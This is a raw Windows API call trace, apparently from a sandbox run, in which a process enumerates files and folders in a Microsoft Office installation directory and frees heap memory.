	[0072.675] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1
	[0072.675] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0072.675] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0072.675] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0072.677] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x453eb7e0, ftCreationTime.dwHighDateTime=0x1d5887f, ftLastAccessTime.dwLowDateTime=0xc20fde90, ftLastAccessTime.dwHighDateTime=0x1d5a952, ftLastWriteTime.dwLowDateTime=0xc20fde90, ftLastWriteTime.dwHighDateTime=0x1d5a952, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ride_australian.exe", cAlternateFileName="RIDE_A~1.EXE")) returned 1
	[0072.677] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0072.677] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3e7f5f27, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7f5f27, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1
	[0072.678] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0072.678] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1
	[0073.162] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0073.162] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0073.169] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e3b9b0 | out: hHeap=0x500000) returned 1
	[0073.169] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1
	[0073.790] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e5b9c0 | out: hHeap=0x500000) returned 1
	[0073.790] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
	[0073.794] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e6b9c8 | out: hHeap=0x500000) returned 1
	[0073.794] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0
	[0073.794] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0073.794] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e5b9c0 | out: hHeap=0x500000) returned 1
	[0073.794] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0
	[0073.794] FindClose (in: hFindFile=0x31216d0 | out: hFindFile=0x31216d0) returned 1
	[0073.794] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e3b9b0 | out: hHeap=0x500000) returned 1
	[0073.796] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1
	[0074.261] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.261] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11161e0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb447d, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Facet.thmx", cAlternateFileName="FACET~1.THM")) returned 1
	[0074.261] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3495ac, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Integral.thmx", cAlternateFileName="INTEGR~1.THM")) returned 1
	[0074.261] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11161e0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11161e0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1855eb, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Ion Boardroom.thmx", cAlternateFileName="IONBOA~1.THM")) returned 1
	[0074.262] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1118806a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1118806a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x111ae2aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c09db, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Ion.thmx", cAlternateFileName="ION~1.THM")) returned 1
	[0074.262] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1118806a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1118806a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x111fa76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f98b, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Office Theme.thmx", cAlternateFileName="OFFICE~1.THM")) returned 1
	[0074.262] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x111d450b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x111d450b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84d621, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Organic.thmx", cAlternateFileName="ORGANI~1.THM")) returned 1
	[0074.262] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1160070a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18c4dc, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Retrospect.thmx", cAlternateFileName="RETROS~1.THM")) returned 1
	[0074.262] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115b4243, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd322a, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Slice.thmx", cAlternateFileName="SLICE~1.THM")) returned 1
	[0074.262] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Colors", cAlternateFileName="THEMEC~1")) returned 1
	[0074.262] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\*", lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3121890
	[0074.265] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0074.265] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Aspect.xml", cAlternateFileName="")) returned 1
	[0074.268] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3970 | out: hHeap=0x500000) returned 1
	[0074.268] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1
	[0074.270] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3970 | out: hHeap=0x500000) returned 1
	[0074.270] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1
	[0074.286] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3970 | out: hHeap=0x500000) returned 1
	[0074.286] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1
	[0074.286] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0074.287] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1
	[0074.294] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3970 | out: hHeap=0x500000) returned 1
	[0074.294] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1
	[0074.294] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3970 | out: hHeap=0x500000) returned 1
	[0074.294] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1
	[0074.306] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3970 | out: hHeap=0x500000) returned 1
	[0074.306] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1
	[0075.191] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3970 | out: hHeap=0x500000) returned 1
	[0075.191] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1
	[0075.191] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3ecb9e0
	[0075.595] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb9e0 | out: hHeap=0x500000) returned 1
	[0075.598] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mcxml", cAlternateFileName="")) returned 1
	[0075.614] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3978 | out: hHeap=0x500000) returned 1
	[0075.615] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0075.617] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3978 | out: hHeap=0x500000) returned 1
	[0075.618] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0075.619] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3978 | out: hHeap=0x500000) returned 1
	[0075.619] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1
	[0075.634] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3978 | out: hHeap=0x500000) returned 1
	[0075.635] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 0
	[0075.635] FindClose (in: hFindFile=0x3121410 | out: hFindFile=0x3121410) returned 1
	[0075.640] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb9e0 | out: hHeap=0x500000) returned 1
	[0075.640] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office16", cAlternateFileName="")) returned 1
	[0076.571] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb9e8 | out: hHeap=0x500000) returned 1
	[0076.571] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1
	[0076.573] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb9e8 | out: hHeap=0x500000) returned 1
	[0076.573] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1
	[0076.585] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb9e8 | out: hHeap=0x500000) returned 1
